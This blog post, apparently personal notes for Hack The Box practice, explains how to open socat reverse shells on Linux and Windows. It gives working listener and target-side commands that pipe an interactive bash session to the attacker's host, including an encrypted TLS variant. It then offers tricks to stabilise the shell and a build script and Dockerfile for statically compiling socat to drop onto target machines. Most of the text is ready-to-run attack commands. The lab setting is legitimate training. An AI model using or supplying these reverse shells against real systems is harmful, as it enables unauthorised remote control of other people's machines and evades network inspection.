SOCAT
There are several commands and tools that can be used to establish a shell connection between hosts, on that is very useful in multiple ways is socat. There are several benefits to using socat over netcat, one being the ability of stabilizing the shell from the start and not having to run through a sequence of commands to do so. The only downside to this tool is that it requires the binary to exist in both ends, which might not be common in many cases, but can be easy to move the binary to the target system and start a better reverse shell.
This post covers establishing a shell session between two hosts in Windows and Linux environments, these are the commands I use when working on a Hack The Box machine when I want to use socat. It also covers compiling the binaries for Linux and Windows.
The same code is used for the binaries in either environment, the advantage of this is being able to use the same commands regardless of the environment and not having to remember the difference between one and the other, beside the program being used as the shell.
Reverse Shell Session
A listener can be started with the following command, which has the advantage of creating a stable shell without needing to run additional commands
socat file:`tty`,raw,echo=0 tcp4-listen:9000
If the listener is started in a Windows environment, then use the following command to start the listener, though not as stable as the command above
socat tcp4-listen:9000 stdout
On the target host, the reverse shell is started with the command below
socat exec:'/usr/bin/bash -li',pty,stderr,setsid,sigint,sane tcp4:0.0.0.0:9000
Change the IP address 0.0.0.0
to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker's host.
Despite the shell being more stable from the start, it may be necessary to set the dimensions of the STTY and the TERM environment variable to further stabilize the shell and prevent artifacts from showing up in the output. If the target system is running Linux, then simply set the TERM
environment variable to the terminal being used, since I use xterm, I run the command export TERM=xterm-256color
.
Setting the terminal dimensions can be done by first running the command stty size
on the local system and then setting the terminal dimensions on the reverse shell with the command stty rows 80 cols 124
, just replace the values as necessary.
The command below can be executed on the local system to generate the necessary commands and just need to copy from the terminal on the local system and paste on the reverse shell session
stty size | awk '{printf "stty rows " $1 " cols " $2}';printf ";export TERM=$TERM"
The above steps only apply when both systems are running a Unix-based system and not when it's a Windows system.
TLS Encryption
Starting an encrypted connection can also be done with the use of a SSL certificate, the commands below are used to create the certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes
cat key.pem cert.pem > single.pem
Start the listener with the command below
socat file:`tty`,raw,echo=0 openssl-listen:9000,cert=single.pem,verify=0
On the target host, the following command can be used to initiate the reverse shell
socat exec:'/usr/bin/bash -li',pty,stderr,setsid,sigint,sane openssl:0.0.0.0:9000,verify=0
Change the IP address 0.0.0.0
to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker's host.
Compile Socat
The socat binary can be statically compiled so that it can be uploaded to a target Linux host and used to establish a reverse shell. Compilation is done within a container to prevent having to install any additional tools.
The following build.sh
script is used for the compilation, check for the latest versions of each of the packages needed for the compilation process
#!/bin/bash
set -e
set -o pipefail
set -x
# Check for the latest versions of these packages
SOCAT_VERSION=1.7.4.1
NCURSES_VERSION=6.2
READLINE_VERSION=8.1
OPENSSL_VERSION=1.1.1k
function build_ncurses() {
cd /build
# Download
curl -LO http://invisible-mirror.net/archives/ncurses/ncurses-${NCURSES_VERSION}.tar.gz
tar zxvf ncurses-${NCURSES_VERSION}.tar.gz
cd ncurses-${NCURSES_VERSION}
# Build
CC='/usr/bin/gcc -static' CFLAGS='-fPIC' ./configure \
--disable-shared \
--enable-static
}
function build_readline() {
cd /build
# Download
curl -LO ftp://ftp.cwru.edu/pub/bash/readline-${READLINE_VERSION}.tar.gz
tar xzvf readline-${READLINE_VERSION}.tar.gz
cd readline-${READLINE_VERSION}
# Build
CC='/usr/bin/gcc -static' CFLAGS='-fPIC' ./configure \
--disable-shared \
--enable-static
make -j4
# Note that socat looks for readline in <readline/readline.h>, so we need
# that directory to exist.
ln -s /build/readline-${READLINE_VERSION} /build/readline
}
function build_openssl() {
cd /build
# Download
curl -LO https://www.openssl.org/source/openssl-${OPENSSL_VERSION}.tar.gz
tar zxvf openssl-${OPENSSL_VERSION}.tar.gz
cd openssl-${OPENSSL_VERSION}
# Configure
CC='/usr/bin/gcc -static' ./Configure no-shared no-async linux-x86_64
# Build
make -j4
echo "** Finished building OpenSSL"
}
function build_socat() {
cd /build
# Download
curl -LO http://www.dest-unreach.org/socat/download/socat-${SOCAT_VERSION}.tar.gz
tar xzvf socat-${SOCAT_VERSION}.tar.gz
cd socat-${SOCAT_VERSION}
# Build
# NOTE: `NETDB_INTERNAL` is non-POSIX, and thus not defined by MUSL.
# We define it this way manually.
CC='/usr/bin/gcc -static' \
CFLAGS='-fPIC' \
CPPFLAGS="-I/build -I/build/openssl-${OPENSSL_VERSION}/include -DNETDB_INTERNAL=-1" \
LDFLAGS="-L/build/readline-${READLINE_VERSION} -L/build/ncurses-${NCURSES_VERSION}/lib -L/build/openssl-${OPENSSL_VERSION}" \
./configure
make -j4
strip socat
}
function doit() {
build_ncurses
build_readline
build_openssl
build_socat
# Copy to output
if [ -d /output ]
then
OUT_DIR=/output/`uname | tr 'A-Z' 'a-z'`/`uname -m`
mkdir -p $OUT_DIR
cp /build/socat-${SOCAT_VERSION}/socat $OUT_DIR/
echo "** Finished **"
else
echo "** /output does not exist **"
fi
}
doit
The following Dockerfile
is used to create the container that will be used for compilation
FROM docker.io/alpine:latest
MAINTAINER Andrew Dunham <andrew@du.nham.ca>
RUN apk --update add build-base bash automake git curl linux-headers
RUN mkdir /build
RUN mkdir /output
ADD . /build
# This builds the program and copies it to /output
CMD /build/build.sh
Create the container with the command below, the files mentioned above should exist within the same directory
podman build -t socat-static .
Run the following command to start the container and compile the socat binary
podman run -v $PWD:/output --rm localhost/socat-static
The successful compilation will result in the path ./linux/x86_64/socat
being created and containing the statically linked binary for 64-bit Linux systems.
To compile for 32-bit, the build.sh
needs to be modified in the function build_openssl
, the configure line should read CC='/usr/bin/gcc -static' ./Configure no-shared no-async linux-x86
to compile OpenSSL library in 32-bit.
The container needs to be created with the command podman build -t socat-static-32 --arch=386 .
to create the container with 32-bit architecture.
The container is then started with the command podman run -v $PWD:/output --rm localhost/socat-static-32
.
The output will still be saved to the directory ./linux/x86_64
, thus will overwrite any existing file with the name socat
.
The 32-bit version will also work in the 64-bit system.
Compile for Windows
To compile in Windows, the follow the steps below
- Install Cygwin with the Development packages.
- Download the tarball from the URL
http://www.dest-unreach.org/socat/download/socat-1.7.4.1.tar.gz
and untar within Cygwin. - Run the command
./configure
and thenmake
The following list of libraries need to be copied along with the executable to run Socat in any Windows system, simply place the libraries in the same folder as the executable
- cyggcc_s-1.dll
- cygcrypto-1.1.dll
- cygncursesw-10.dll
- cygreadline7.dll
- cygssl-1.1.dll
- cygwin1.dll
- cygz.dll
The libraries are found within the Cygwin bin folder.